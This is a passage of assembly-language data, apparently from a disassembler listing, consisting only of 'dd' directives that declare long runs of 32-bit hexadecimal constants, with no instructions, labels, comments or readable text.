		dd 21F52B3Bh, 0EAD94283h, 82C5EDEEh, 38739802h,	0C24DE920h
		dd 723E9728h, 5976315Fh, 8DF9B0C1h, 36F51DCBh, 0ED6A2223h
		dd 5804DD69h, 9C684B93h, 6170DA8Dh, 0B3A66FB6h,	5F2729D7h
		dd 0CD366E2Ch, 9579A4D6h, 0D787987h, 923AE824h,	583173FDh
		dd 0C06FDDC9h, 0D5109BB7h, 0D713FEEEh, 0E58414AEh, 25AC4F66h
		dd 6FA9FE5Fh, 3796AF5Fh, 4D7B01B5h, 7F137A5Eh, 440BEA1Bh
		dd 0CBBFAE0Ch, 3A502EE8h, 0C059B892h, 0D1D7BA6Bh, 0B310748h
		dd 0F166111Fh, 0BF49773Bh, 0FDBFF618h, 40A7CDA8h, 0E8DC5247h
		dd 2669EA0Eh, 3D8EB952h, 7CA12D1h, 87DA0121h, 0E266F648h
		dd 0F48F97A6h, 77E06045h, 9A09176Ah, 0BFA11AA0h, 7271A11Fh
		dd 0B715356Dh, 255E6F65h, 0B0E66190h, 1A5C9345h, 50AA7E20h
		dd 4C6711E2h, 31D95EFEh, 0D3FBDE5Eh, 6C7C81D9h,	2AEABEFCh
		dd 0F680DC28h, 0D60301B3h, 0FE4C8FF4h, 0C12D6214h, 8F18DFC7h
		dd 0DA173983h, 0B7815587h, 0DA960122h, 487730F6h, 6EDC66D4h
		dd 0DE6BDAD9h, 0D2525032h, 0D64FD5EAh, 0E8FE57ADh, 0C3A652A2h
		dd 95189C60h, 26176F6Bh, 0C21B9AA3h, 3570D943h,	0A8482D7Eh
		dd 0E678014h, 4CAB8BE5h, 76F49DB8h, 98712C32h, 3D857EB8h
		dd 0C1897F7Ch, 0EC4DB02Eh, 0BB28DB55h, 0DC3B9C38h, 0BFE829D2h
		dd 0C3FD5C9Eh, 40A3DF5h, 0F1A47B27h, 0C8D4F645h, 0FB703F6Ah
		dd 58E26414h, 600B7027h, 3BC1CBB3h, 22F033F9h, 0CA245EBCh
		dd 0B8667761h, 0E576FE4h, 0B41D77E5h, 85F8CD72h, 6BF9C341h
		dd 141F6243h, 0B4320B1Eh, 0A11D48C5h, 0C1B13827h, 0BDD49465h
		dd 3FAB959h, 0A1D3002Ah, 2C181588h, 0A6A7CAC0h,	45EFFD47h
		dd 6357892Ah, 53123D78h, 2FDDA416h, 0AFA79ECh, 9AB9BBAh
		dd 301CFAFh, 8156DCE9h,	3B75034Ch, 99BB339Fh, 0C35D68E7h
		dd 0C570B09Fh, 0D151EAEDh, 455CC88Eh, 5EAC0C2h,	8190DAF5h
		dd 0BC470447h, 8DCDA892h, 55DA50A0h, 7755ED84h,	0D78B6B97h
		dd 0CAEB42EDh, 0DF869884h, 25A731CEh, 6EC2F070h, 0F1530A4h
		dd 889CD3C7h, 16666785h, 6A4A8903h, 0DE0F9D9Ah,	0DA18760Ch
		dd 7422DD4Ch, 21D03296h, 0B632E26Ch, 0A064BFA9h, 3AC61F7Dh
		dd 1D5A7E17h, 0C9B4968Ch, 7CA3CF90h, 852D1E9Ch,	0A640EC33h
		dd 9BC0F7B7h, 0CBA7FC55h, 1ACE687Dh, 0A9068FFCh, 2558E14Eh
		dd 32D20D89h, 0B567982Bh, 8AA8899Bh, 2FCDBE72h,	7D5CE5C5h
		dd 8D6045B2h, 79D45BC3h, 44C72D4Ch, 270FC3Bh, 0EE45D86Eh
		dd 0E4298EE7h, 0E1EF43DAh, 4576287Bh, 0D9FB6B3Bh, 0FA12876Ah
		dd 61DA2335h, 653B0FE1h, 0FA79109Ah, 0B5444F3Ah, 80B97D5Eh
		dd 0CBAD31BDh, 0E02755EFh, 1CBAE9C0h, 0D29268DDh, 4C90B12Fh
		dd 0DB252426h, 0BEEB781Dh, 47390BCFh, 52AB4C74h, 0D28EEA08h
		dd 6120ED97h, 0AAE83069h, 0F8CFAD71h, 3B39B7A2h, 0F7955AA0h
		dd 5771B140h, 290119C3h, 0A830CE0Ah, 0FB6103B6h, 34425559h
		dd 91212777h, 0B6973621h, 0F2598779h, 8825DA16h, 6401792Eh
		dd 0BA153982h, 15F4DA39h
		dd 8620E4B9h, 62E4956Dh, 3BECAC09h, 4A4D5481h, 82F52EB1h
		dd 0C691F5Ah, 6F5F8F6Fh, 3EDE7E7Fh, 6467DEB8h, 5A77CC18h
		dd 5A2959Dh, 52BC0DBBh,	4D61CBE5h, 1248109h, 0F5E4EC98h
		dd 0B65A20C4h, 8368ED88h, 0B6B7E840h, 85644C39h, 1CDAAE76h
		dd 7B321A8Fh, 0FD9E3309h, 0A3D088F0h, 6809CB8Ah, 0CE8EA1AAh
		dd 0AB6E6C9Dh, 0ADB6F137h, 0ADF4B45Dh, 0B0D00B8Fh, 4D10AF8Dh
		dd 0C954A569h, 0F4EFFE99h, 51743135h, 0E56AB099h, 7661463Fh
		dd 0C01CF1E2h, 2D3E04C0h, 77D429Fh, 2AB1D064h, 0D038E302h
		dd 0A76B3BE8h, 6FAA1211h, 6081AE8Ah, 7C11D58Dh,	9B087993h
		dd 48D942D0h, 976C82E5h, 0CED09907h, 0DF6D2757h, 96124D5Ch
		dd 10F70547h, 0DC5D0Ch,	0F9E111D4h, 9ED3E45Fh, 0A188EE5Ah
		dd 0A2F70608h, 741C8E7Fh, 280EE7FCh, 15A246B3h,	7771D46Bh
		dd 0D53E2383h, 0F9D31C5Ch, 0D80329B5h, 56ADEAE1h, 690924BDh
		dd 0F2378545h, 9552A7C7h, 0F6ABEC55h, 84A4A0B8h, 366FDF7Dh
		dd 16FE8180h, 0E8D46CE7h, 60F3235Fh, 661D3A5Ch,	180389h
		dd 7D9348F6h, 4EDA0428h, 0FC9B94F5h, 92EE724Eh,	1C7E5113h
		dd 92979E4Bh, 533017E2h, 0B424BD26h, 4B3CFCCh, 1CB89E48h
		dd 0F23B697Eh, 0AC9CE65Fh, 4810ABC8h, 27673F00h, 1C2FA9E3h
		dd 36C50A5Eh, 42D94331h, 6EDD3D59h, 0A185D680h,	0AE2077D2h
		dd 1B982F9h, 10399997h,	812061EDh, 0C04F12B5h, 7F41042Dh
		dd 0AD2B5F33h, 0D7AA9E32h, 0EE4AF94h, 4338786h,	0C3BD9C60h
		dd 0B90550BEh, 27A9895Ah, 477BD486h, 9845D3C7h,	12524611h
		dd 70846FFDh, 13562C7Bh, 0A40343CCh, 457C7794h,	7AEC023Eh
		dd 6D71ED86h, 22DFAC35h, 3A05023Bh, 6FFDA844h, 466C7487h
		dd 17FCEF7Bh, 0CE722C9h, 94037777h, 50FEE6B2h, 0CCBFCB73h
		dd 0EF7D249Ch, 73F644B6h, 0B250ED56h, 0C133E08Dh, 15E108C4h
		dd 4960747Fh, 43CBEA64h, 0B8FBE43Bh, 0AABF64FBh, 8693E0BCh
		dd 0C39DDD98h, 26199CCFh, 0A553CBB6h, 539790E1h, 296C4E41h
		dd 73A651B5h, 4C6223C6h, 9DEF3715h, 0AABD5374h,	4BF86B2Ah
		dd 0FA333FCBh, 548143DCh, 77B97B5h, 874BF740h, 3F7BDE0h
		dd 8E94529Ch, 9D965935h, 556FF3C7h, 9BE10DB2h, 0F8FDA3C8h
		dd 0CFCA5346h, 86DCCCF8h, 436F8EE4h, 257794D1h,	690B720Ch
		dd 0BAD48E0Ch, 0FFE7A4C5h, 5BD09988h, 0A311C760h, 9EA5AAD8h
		dd 336B9A32h, 0B77FD6DDh, 3FC6DABEh, 0EE4E4C44h, 0F2913B77h
		dd 0B05D9C19h, 814D01B8h, 0E2476245h, 3D51AEEBh, 0CB6FE265h
		dd 507DC206h, 5094C185h, 0B9566ED6h, 857A3512h,	5E2A6C89h
		dd 4ED97137h, 2523BB22h, 0BE30DAF9h, 0B429A41Fh, 31515C53h
		dd 7AC07F97h, 0EE7FDCFFh, 3BF4018Dh, 7D7D7Fh, 19CA2062h
		dd 9C62D25Ch, 0C527AAACh, 423B0307h, 8778D5CEh,	0C49DF2D0h
		dd 0FD8DC5E9h, 0E769CB72h, 33674641h, 2DD9BF82h, 125DF49Bh
		dd 0B856D349h, 3607150Ah, 7E4E40BCh, 9FF75F16h,	5ED1E384h
		dd 0D6211AFh, 40A6F3BEh, 5F1CB63h, 604F75FFh, 603A473Ah
		dd 0A657BE68h, 5A43343Dh, 0F0DB1831h, 6629EE9Eh, 6F654195h
		dd 0F4A344E2h, 0E1AC87DAh, 4609B18Fh, 0D47C9586h, 0FBA759C5h
		dd 0F22E8198h, 0A6A7F406h, 80E7B0A4h, 76092682h, 0A6696917h
		dd 12F8026h, 8B8A019Eh,	6AC8B81Ah, 3D55ABF5h, 9AFB00AFh
		dd 773A799Dh, 3818DA0h,	3385B237h, 0D6E25F22h, 0CA6DCB03h
		dd 0CD49EB15h, 280C4A6h, 98CE2757h, 0F6B6EBDCh,	8D91B114h
		dd 3C1C6D9Ch, 5B918E83h, 80157BC8h, 0F8AFE39Eh,	0FF9F4470h
		dd 0B26121FCh, 0EAF1EF75h, 1B4B894Dh, 3EDC0A02h, 15939F83h
		dd 90297A16h, 0EC7E8912h, 5C47D1Bh, 0D761ECB1h,	51B7D6D7h
		dd 91726774h, 9EA23736h, 3F3DF7Bh, 0F6E2C6F6h, 2AB1C670h
		dd 9F90ACDCh, 3F145D32h, 0A12D2218h, 0BF5D4C57h, 78A33E3Dh
		dd 5F0EADCEh, 0AA7529Fh, 0A52F23E8h, 0B8C9E2DFh, 901D755Bh
		dd 0D4B4EC14h, 0B0F0454h, 0C263060Ch, 0A41119C5h, 0F338830Dh
		dd 46F5D1D4h, 0E05BEB26h, 0EEE01062h, 0AA5516DEh, 0C194AB33h
		dd 916A43CAh, 0ABE68C1Bh, 0E67D3A59h, 24575DF3h, 9C59054Ah
		dd 0F68611ECh, 6A758304h, 929AFF04h, 77417B70h,	42DD92FCh
		dd 903D512h, 0EF87888Fh, 65555BC5h, 363C0DFDh, 0CA822FB9h
		dd 6F586504h, 8A2E9B9Eh, 1574724Ah, 0F8A2C58h, 1274BDCBh
		dd 0E5A00C50h, 0ED5F9FAh, 0BDB02D37h, 0A5945307h, 0A43A5B8Ch
		dd 3B05FA9Ch, 0F97502F5h, 2F8494EBh, 188D167Ah,	634F4D05h
		dd 0C0EEA2h, 183701B5h,	0C86457Dh, 226A9072h, 631FA2FFh
		dd 0A2A13E0Fh, 0DE79A89Fh, 0D80062E3h, 0C399181Bh, 0EF8F3AA8h
		dd 59C707E4h, 349221DEh, 789515AFh, 5D427E16h, 0D4B32D33h
		dd 2992D61Dh, 0BA890936h, 24DC21C1h, 507018C1h,	21341374h
		dd 21C5AB13h, 724E2FB9h, 0E6A86BA4h, 9F57BC5Eh,	0EF073EAh
		dd 216B5C43h, 96FC07Bh,	2F94FDE5h, 0D58EFE11h, 79FFC4A1h
		dd 0E6C42CE9h, 0E124094Eh, 54286F4Bh, 94073097h, 0A848D269h
		dd 3C12101Eh, 938DDE2Ah, 3F729112h, 36D5354Eh, 0F4754D8Bh
		dd 20D6D377h, 8BD0E2F5h, 6387992Ch, 0DA736E6Ah,	0B57841CBh
		dd 20C70F2Ch, 0B96FE9F4h, 0E7C6C8AEh, 0C9A808E0h, 279A4CE8h
		dd 0C33EF6C9h, 924278Fh, 6D64E178h, 5852A003h, 9D8D207Eh
		dd 8C1D5F58h, 6915B928h, 4A45DB7Eh, 0FFA64E03h,	0B096001Bh
		dd 8CBD61D2h, 1A4A25D4h, 2FBBC399h, 7E3E8EF1h, 356B5E20h
		dd 3568F0AFh, 86BDE17Dh, 2309BA44h, 0BC0E4444h,	0A9E8E0FAh
		dd 0EAE74803h, 5E0827D3h, 0CA19F2Ch, 0DC4C36AEh, 0B0FBE303h
		dd 0CEA6BCAEh, 0C360B153h, 0B7FB897Eh, 0D71CDF36h, 0E77EAADDh
		dd 4D572CBEh, 39C7F7E3h, 288A5D81h, 0BFBBF6C9h,	40DEA6CFh
		dd 232DEECDh, 8E6ABF11h, 4B5F993Fh, 3F201EA4h, 0D9538F54h
		dd 0B009BC88h, 3DFB68AFh, 88809C07h, 0CAF9D8BAh, 750F210Ch
		dd 26AC23A1h, 66C8BC55h, 3AAC8AA4h, 729236C9h, 0FB8226C9h
		dd 0E6A34FB6h, 0E6373D5Ch, 357F2203h, 0D2F0B230h, 23E2F082h
		dd 246D8F37h, 8C1CFAF6h, 81322116h, 4543D7D2h, 0B94CAE74h
		dd 75689FC5h, 0CA8BC51Dh, 0F76C6DC1h, 0E1DCA8CDh, 6615C8AFh
		dd 57FBF806h, 613D17DEh, 29C139D6h, 7E1D3184h, 74AA97A6h
		dd 0F0DD33D6h, 0DB25A909h, 0F1D2E8C3h, 0C37B4D14h, 0AE7788A7h
		dd 0C6D91650h, 0BF969063h, 3BC8FDFCh, 0CC7C78BEh, 67865C55h
		dd 0C715EF09h, 6E3A132Ah, 312E3FC8h, 468294EAh,	43D1AEh
		dd 66F89353h, 2435D323h, 0EE4DBA3Ch, 0BD3E0C75h, 0A70E7C24h
		dd 5F02C51h, 43EB9328h,	0B2B02A41h, 8ED439A3h, 7430219Ch
		dd 1AE96593h, 3037AFADh, 0F4431E4Ah, 0B1F764DBh, 0BC26DD1Dh
		dd 0C47C2BEBh, 72418169h, 0AD2E9F06h, 0D392CC79h, 37EE5EADh
		dd 49211D4Bh, 5D5F12CFh, 0C9E3FCB5h, 1380384h, 0C440306Ch
		dd 0E673C3A8h, 4FE3037Fh, 8540E748h, 0CBB2E3E1h, 175585E6h
		dd 0FA60FF72h, 9633D3Ah, 49A248A6h, 0E925E4B3h,	9D10FB34h
		dd 16533BB0h, 0F2AD7DC6h, 4718C28Ch, 83AAAC99h,	5DED91FAh
		dd 0DF26ED7Fh, 0DB0A2155h, 706EF78Fh, 0AF536D97h, 0F1126C3h
		dd 7D14F5F6h, 24D5F91Dh, 498D09CDh, 0EA169A83h,	271F3EDEh
		dd 8170C075h, 0F28ECB0Ch, 0CB693AD8h, 2F0B58FCh, 21C4A1CAh
		dd 0C75675C5h, 0E33C090Ch, 0AFF1A65h, 64A1EA1Dh, 0E910C0A7h
		dd 0B39598E3h, 587ED7ADh, 6ADE4F5Eh, 0C5F78D53h, 35E57FD0h
		dd 0B432C062h, 0F61312h
		dd 0AAB4CA59h, 492FF6h,	0B1849E4h, 5DD7647Ah, 1396E143h
		dd 89AEC00Ch, 5FE5FB17h, 3676E5Eh, 10418FADh, 0C8953A59h
		dd 7F76283Eh, 336FCD65h, 0F0D61016h, 93B12C93h,	243EED12h
		dd 0C7051DEDh, 0F6D4A1EFh, 0F734CCE0h, 8B83178Eh, 85216E4Eh
		dd 9FD3BD43h, 8782BB6Eh, 666AEA68h, 0A232C452h,	51BEFAD2h
		dd 22FBEEF2h, 0DD359609h, 6BB43FBCh, 6710A683h,	92795A32h
		dd 90EFCD60h, 0E31AABDh, 0EE4990F0h, 555BD9A7h,	8C0CD29Ah
		dd 91E80504h, 8CAF9CDEh, 0D576B48Ch, 9376CB0Ch,	14FEFEEFh
		dd 9DDDA510h, 0B1994FB7h, 30AAD7DAh, 385064F1h,	737C2E3Bh
		dd 0ED909076h, 9D67664Ch, 5D70ABB6h, 904680Eh, 220AB951h
		dd 98CC56E3h, 0E47F7BBAh, 0A85A396Fh, 744D7C44h, 0F999781Ah
		dd 0C0F95D8Ch, 556D7965h, 74DDBA9Ch, 0EF4DFCD1h, 135A5081h
		dd 0D3032A07h, 7DBC092Fh, 0C5505687h, 363C4FC9h, 3E5F3AE3h
		dd 2DE6B4E4h, 0C80CD525h, 65C5DBD1h, 0EE1D166Dh, 9671C9A8h
		dd 9D7B86D1h, 0FA6C680Bh, 3767FBFAh, 269D8E07h,	0E37B9F53h
		dd 5BDF96E5h, 34018CFDh, 0C9E7BF43h, 0DCFD58ADh, 0FB0BE9CEh
		dd 0F51733BCh, 0B31CB5E0h, 163A0430h, 6CAB6844h, 8100E61Ch
		dd 9B47DAFh, 81DCD6A8h,	0B05CCFDEh, 7345B479h, 0CA93FA92h
		dd 47C478DAh, 0D0B315AFh, 25B7BA37h, 2FF58154h,	48809292h
		dd 1E163FF2h, 21FACAADh, 0C7A9DF7h, 4FA614A0h, 6E687F60h
		dd 6F691391h, 47447E09h, 24CFACE9h, 5DDBE925h, 68343F03h
		dd 285F84F5h, 5D0C9E75h, 80D64941h, 6DDD4BE0h, 2A3FDC68h
		dd 16C069F6h, 5599EE68h, 31CFC50Eh, 8FBE6252h, 0C03FD872h
		dd 0FCD63314h, 977846BDh, 3D2D5CA5h, 0B71A7978h, 7FB9B483h
		dd 0A11F35D1h, 9F433BF7h, 0A2BBAADFh, 0B25B0E81h, 0B67F265Fh
		dd 0C3476CCh, 0F3C07897h, 0C9F52768h, 0CECCD2DBh, 0F296776Dh
		dd 99C7738Eh, 352F9FAh,	0AA77EA86h, 0D9430B43h,	45B87CE9h
		dd 0C40D8A23h, 0AD2FB5E6h, 0A9C57C5Eh, 91E87AFAh, 0E419D02Dh
		dd 0CE520F2Bh, 7FF4ACE7h, 64C0A6F6h, 1F6F679Bh,	1649DB24h
		dd 72BABF73h, 9CDE9C57h, 339FC31Eh, 6529BD20h, 2493DC79h
		dd 9E8B834Bh, 0CD76E96Ch, 44E45E96h, 1F2B8C5Ch,	0EF01F18Dh
		dd 0AAD3380Ch, 7F2608D7h, 5CCA96AEh, 0E348A3A4h, 419121E8h
		dd 0DD1F1C7Ah, 0E8D24ED1h, 0F1952C3Bh, 407996E8h, 8D7AB540h
		dd 0CB649D1Dh, 454746h,	0BF34AB4Eh, 64A27C43h, 0E48611A9h
		dd 0D32B79Bh, 0A76BE5F4h, 463FBCE8h, 0D5F2333Ch, 0C7AD665Eh
		dd 0DCC0456h, 1DAEB4D7h, 0CA1A0AE7h, 0FB2E5D56h, 3FA9A54Dh
		dd 0D5C3B5ABh, 9A506795h, 0E2FDA7C2h, 18406B52h, 3E89E604h
		dd 0B7148F61h, 0C0687518h, 68C8A894h, 0BAFEDB48h, 0A92DD39Ch
		dd 0C4B55A83h, 4FA5D658h, 3DD68723h, 2AB430F0h,	388316A6h
		dd 16B9964Fh, 7F4D008Fh, 0A705A06Eh, 0E5DD1384h, 0EDD5C045h
		dd 473292E3h, 31724BFCh, 0EE596EE8h, 7CB515F7h,	57AC320Fh
		dd 0B0B96847h, 76DB128Fh, 382B4717h, 0D1E001Fh,	67088F55h
		dd 56C848D6h, 8A0E1340h, 0B56044B5h, 18BDF667h,	0FAE9B689h
		dd 0B41C9B9Bh, 9F331C68h, 18C61295h, 46B6B105h,	85F10BA1h
		dd 0BA71ADE9h, 1C67407Fh, 84118B9Ah, 0ABFC3381h, 0F6D5D707h
		dd 0BBA25DF2h, 36D5A78Fh, 9C8E29EAh, 294E92D5h,	7E202B20h
		dd 0CAC90971h, 0A09E1CADh, 5E6A40A1h, 66F4D69Dh, 0D2E38B50h
		dd 0A95094E7h, 0D6DBF375h, 0F2CB68BDh, 628295BCh, 33F53130h
		dd 8A2D7C0h, 0A072BA6Ch, 3B82A8F9h, 17C45BE1h, 5A595C54h
		dd 86D67109h, 5C305C15h, 5B88BCEh, 0A42C2A7h, 0DB6D1EAEh
		dd 0B86905F6h, 0B60B9361h, 0BD1CAA77h, 0AEB54560h, 0F6CB9E57h
		dd 0D78D0D18h, 7DBF7FC9h, 0A59CC052h, 2E5F048h,	61E540D5h
		dd 3F6A872Dh, 5045148Ch, 9C49549Fh, 0C35D65ABh,	8B01C258h
		dd 0D7322911h, 99AB8134h, 0F1DA03CFh, 0CC6CD7CAh, 0F2B43EF1h
		dd 0DAF629BFh, 9B04F955h, 4E8EA3FEh, 508D206Ch,	0ADEC1E62h
		dd 42C3DF1Ah, 0F4209A74h, 65CDB21Bh, 0E654214Bh, 97F2F0D7h
		dd 0C6239A44h, 5ADE5F2Eh, 0EFDBAA67h, 6071BA2Dh, 41BD8DB4h
		dd 9927864Dh, 8F8D2935h, 4C16161Fh, 233E5279h, 4C6EB9A5h
		dd 99F55AAh, 48BF9720h,	0DFC76850h, 85D0795Fh, 0F7C7536Fh
		dd 835CB335h, 0B26BFFC0h, 4D72B9D3h, 0E226A721h, 66780F68h
		dd 9E3BCA55h, 0E65A021h, 1CFDACFAh, 7A51B3C2h, 0F7885089h
		dd 0E8B186F3h, 8734F3E8h, 0D35EB3Dh, 0E051F111h, 0EA365D0Dh
		dd 13B5B649h, 85CC933h,	231ED141h, 0F3D26269h, 0BCC2DA47h
		dd 21D0A202h, 0B9834DA3h, 0BD571535h, 0FBC655A4h, 0C7D09C01h
		dd 0A3FF1D82h, 5B58DD3Ch, 0D1EFD407h, 606A479Fh, 16F2F44Eh
		dd 5CA4486Bh, 997880F8h, 0FD47F5D6h, 0E5D7DDC1h, 0B895A7D4h
		dd 0F63ECF4Bh, 85FDF7AFh, 0F758CA7Dh, 0B48BF214h, 0B504683Eh
		dd 7F42D9FDh, 0B39D5FC8h, 416D72EAh, 74CE88CFh,	0EFDA4568h
		dd 0BECED330h, 68E9481Ch, 23AA2EE2h, 9AB43960h,	0D5AF17B4h
		dd 10501042h, 9F84132Ah, 0B608B290h, 355CC8BAh,	685B4956h
		dd 7B0AADC5h, 0E7DCEBB0h, 0D0D77BB4h, 14D7A3ACh, 58482E17h
		dd 57539144h, 133C7249h, 0ED6C3B0Fh, 129983B2h,	0CCF19D74h
		dd 50FFEDF8h, 0C9CBDC14h, 9CCC4433h, 817D24B9h,	4762D3E8h
		dd 3DC15338h, 92F060F3h, 4888CC78h, 7F5FB32Fh, 347F06F9h
		dd 0A7682F88h, 0BECACEBBh, 0E6271CCCh, 0FB547FDFh, 0AB47BB82h
		dd 9006C60Dh, 5DF7BC74h, 0D62B0297h, 93B7AEA3h,	0AE585D42h
		dd 0BACF9DB4h, 9B56FD1Bh, 574B80DBh, 0E78B6AFAh, 989D36B2h
		dd 8F1F6379h, 802BC27Eh, 877D57E6h, 0EF8A8EE0h,	0BEA3FADFh
		dd 0A35DC2DAh, 0BE45EF3Eh, 6D016DCFh, 43B30C12h, 0F9A17B4Eh
		dd 0DDFF630Bh, 0A8E10D83h, 0B0833D50h, 0F7DDFBDBh, 235F40A3h
		dd 9DB96FD1h, 0B3895588h, 0D7B89B1Dh, 0E3E57E2Bh, 2222206h
		dd 2C26EBE5h, 86ED9357h, 513008EEh, 2F394597h, 0D98442D8h
		dd 11797158h, 0A72EC6B7h, 9384A804h, 9008BFB2h,	0C0F5F2F8h
		dd 852334C0h, 0D357FB4h, 0D7E390C6h, 355715EEh,	43723821h
		dd 5298F8A4h, 0FB42716Ah, 0BC814EAh, 606C7B38h,	9CEE070Dh
		dd 593B6ED1h, 12FCABDFh, 9597026Ah, 0C9CE5524h,	0CD89567Ch
		dd 7E1A2B85h, 207E8F4Dh, 481B1010h, 7BFFF88Dh, 9D0108C7h
		dd 0D8A5048Ch, 0D8F21383h, 0E4E0BBCCh, 6B8996B0h, 34D07B19h
		dd 0D2F0856h, 946B5485h, 6657DBB0h, 0C54682E4h,	755F40E1h
		dd 7ED15533h, 7E7DA188h, 0D5BF3D85h, 1F70E5E1h,	0C1564B37h
		dd 0C0747FC5h, 0DE7AC625h, 6F5221A0h, 50FF265Dh, 0C46D6E9Dh
		dd 0C5F73DD7h, 728EFF4Eh, 4FAD8E40h, 9342EDCBh,	0A6357335h
		dd 4681FC63h, 0AF38CAFBh, 0D917CF1Ah, 0CE0E5EF6h, 57F8283Eh
		dd 6B30D52Fh, 0DD024D21h, 8A6FAE20h, 0D0340FA8h, 724A8725h
		dd 996254ADh, 92E27CA5h, 0A8CDDB87h, 0DF7EDEB4h, 7702AB90h
		dd 0A3BC7C0Bh, 0FE5B0CB7h, 603A1561h, 0D6E354E6h, 0C87F7E7h
		dd 7E12296h, 870E41E6h,	0DDD238D8h, 4979967Fh, 0F80941Eh
		dd 9B8F1DFAh, 0E851C279h, 0BB7B83F9h, 0A13337F0h, 0D3853ED1h
		dd 3CAD1894h, 67B22C78h, 0F880B375h, 5E63D1E8h,	3AF07B82h
		dd 0A3C05893h, 42AF92D0h, 59CA2BCBh, 61B3335Bh,	79068F1Bh
		dd 0C72EB7C5h, 517C0D27h, 6EF5E161h, 0E5A2BDA3h, 63003968h
		dd 90EEFFBh, 0FCBC667Eh, 0D75BB1EAh, 69AAB46Eh,	0C7B47064h
		dd 0F802C940h, 6B5E7A9Ah
		dd 635159D2h, 44A4D924h, 19A24AE7h, 0DF34FAABh,	62D8F719h
		dd 5A53021Bh, 1DE06B9Ah, 910A8211h, 0A58E4824h,	0E648969Ch
		dd 8075D9AAh, 0FD16092Ah, 80459EBAh, 0D3053063h, 0A962BD9Ah
		dd 1E2AD42Fh, 108FE72Eh, 0DFDDA0BFh, 454412F6h,	9DE946A8h
		dd 0DD1BE63Fh, 0C0FA1E19h, 3A3973F4h, 578E2257h, 1B3A5C60h
		dd 0A889C6E3h, 0E6E8CE72h, 9D15F81Eh, 0E3BD168Eh, 0E052331Ch
		dd 95EAB791h, 362F11DDh, 0A2315A05h, 720333F4h,	40453F03h
		dd 0ECC6E88Dh, 80C32201h, 82FDED1Dh, 0F575677Eh, 649B0BB0h
		dd 8DEABEEDh, 0A9D32FB4h, 16CBCD5Dh, 4DF36C59h,	9ABF0B66h
		dd 91FE59B5h, 8D40B8F0h, 2915A417h, 47D2465h, 0FA00663h
		dd 0D2D3184Eh, 1037B336h, 667F3E50h, 0C9BA7168h, 940F89E7h
		dd 8243FD61h, 0F072C53Eh, 30AB7D2Ah, 592F9F1Dh,	2CFA12A5h
		dd 0B2895C8Ah, 0BF082A22h, 52D0D456h, 2A3CC596h, 16FB0233h
		dd 83DB31C7h, 0B1AA0197h, 34E0BA6h, 53F3039Bh, 3F31A077h
		dd 0EEEB4FDDh, 380538A1h, 713D038Dh, 9E47D9ACh,	32715830h
		dd 0C3F0AC25h, 2F7B3D81h, 0FA091DCDh, 0E07F1E0Dh, 0D8497C4Eh
		dd 9FEA5A43h, 0A8EAF83Bh, 9244A597h, 49527C9Ch,	0FAC2830Fh
		dd 3B58255Eh, 8BC47613h, 1AD8BB69h, 0CF341592h,	8C5C203Fh
		dd 0D441B3CEh, 0AA3A7F26h, 4EB2443Fh, 0B8719D84h, 0DD628C4Dh
		dd 0E3DA5937h, 99C7A7EEh, 19C8CDF3h, 64EBE511h,	2D990721h
		dd 0D157A7Ah, 10B2E953h, 0C4F6C31h, 27D4084Dh, 40C0FC9Ah
		dd 95FF394Bh, 0C4206DB2h, 3CE9CDE2h, 0B98F9C61h, 38FE400Ch
		dd 2BB7AE57h, 0BA7833A5h, 0E75A41AFh, 96B55593h, 5AF31984h
		dd 3771019Ch, 2D495C0h,	0FF5DBD5Fh, 544FB99Dh, 8185D65Fh
		dd 75157189h, 42B222EDh, 5615CF85h, 799FE06Eh, 88D1FDCDh
		dd 8C638D4Eh, 44256899h, 4D2CC8DBh, 8CE6C27Dh, 945E375Dh
		dd 58D5A5FFh, 22E00D69h, 8C58BD60h, 0F5B02362h,	4F0BD580h
		dd 33C72C3Ah, 0C12EF55h, 3A890407h, 9805A5FFh, 67B3BC10h
		dd 0DFAEB5FBh, 0F100D143h, 0CB6102C8h, 471211AFh, 0E5FDBBD7h
		dd 35090A53h, 8E0E256Bh, 0DA5E03CDh, 0F94BD715h, 0E8D1B562h
		dd 40239DC3h, 0D0992611h, 0DB34E975h, 0C292B2BBh, 0B0D98208h
		dd 2A5DBCEAh, 0C4CB09ECh, 0D0BD4B50h, 0A6DA9F19h, 0E8290806h
		dd 6B7AA515h, 900B5BA6h, 0C0C5C247h, 4FF8EDC1h,	9D0842C7h
		dd 8455870Ah, 8F1F137h,	0CECDF3FCh, 0F02997BAh,	225A225Fh
		dd 0BAC0DF5Eh, 76537EA3h, 26C65934h, 3A8FBEDDh,	55D3D629h
		dd 1C0E2090h, 0AF0AB194h, 14FA2F70h, 4AB014A0h,	5519807Dh
		dd 740C83E2h, 3710CAE8h, 0AC60B56Dh, 3C02D64h, 2448EB67h
		dd 23D61380h, 0FDFEFC04h, 0F78B38F0h, 0C3074C24h, 48B3D2CDh
		dd 56430BA3h, 0FDB78B6h, 0C11A6D57h, 7AB7B360h,	798D477h
		dd 6C863EEFh, 8A155817h, 1EADAC5h, 0DB139FFBh, 3DD11F20h
		dd 3F0C7EC1h, 74D9C2B5h, 0A436069Dh, 0BC6AB223h, 0B1726FF4h
		dd 0B39F6648h, 4BF39477h, 0B92553B6h, 0A922565Dh, 0A0B0809Dh
		dd 7BA89CF5h, 40891EECh, 92DFFBDFh, 6853759Eh, 0B7DDB489h
		dd 79F9DC4h, 0A66C156Bh, 354D7558h, 987D9302h, 0E49BF077h
		dd 7C740C68h, 6D2B4136h, 391708ABh, 0D48261FEh,	6979EDB3h
		dd 0EC8A2C62h, 1831125h, 2BFFF797h, 0B8DC962Eh,	1A3C364Fh
		dd 67882713h, 2135E942h, 6353A7BFh, 1826E3B6h, 0AD28F17Ch
		dd 2351B7Fh, 31CC9B2Bh,	28E6B1E8h, 0AEE54788h, 0D6826742h
		dd 0E2C3F153h, 0F038F2AFh, 0FCFD27BBh, 7F0F59F4h, 18A602F0h
		dd 15A1177Dh, 0F8AFE582h, 6D30FE66h, 6A4CC126h,	0D3395A85h
		dd 0DC19BF3Fh, 7C233854h, 2F8125D6h, 0A4D1A0Eh,	3F7D6D9Dh
		dd 0BD085C91h, 0A2E0D52Bh, 650C77F4h, 0E5278A69h, 0A14734CFh
		dd 1A8E92F5h, 5E57B819h, 4C01EB8Bh, 0FC8526FFh,	9CC7E15Ah
		dd 0D17CD899h, 9E757C6Dh, 52C5671Dh, 1CB264CAh,	85AA01B5h
		dd 8B194436h, 4D674598h, 634C0F38h, 0C002A0A6h,	5D7A42B6h
		dd 0A1936E8h, 0E947FBFEh, 14458016h, 4C61FC36h,	0EE78994Bh
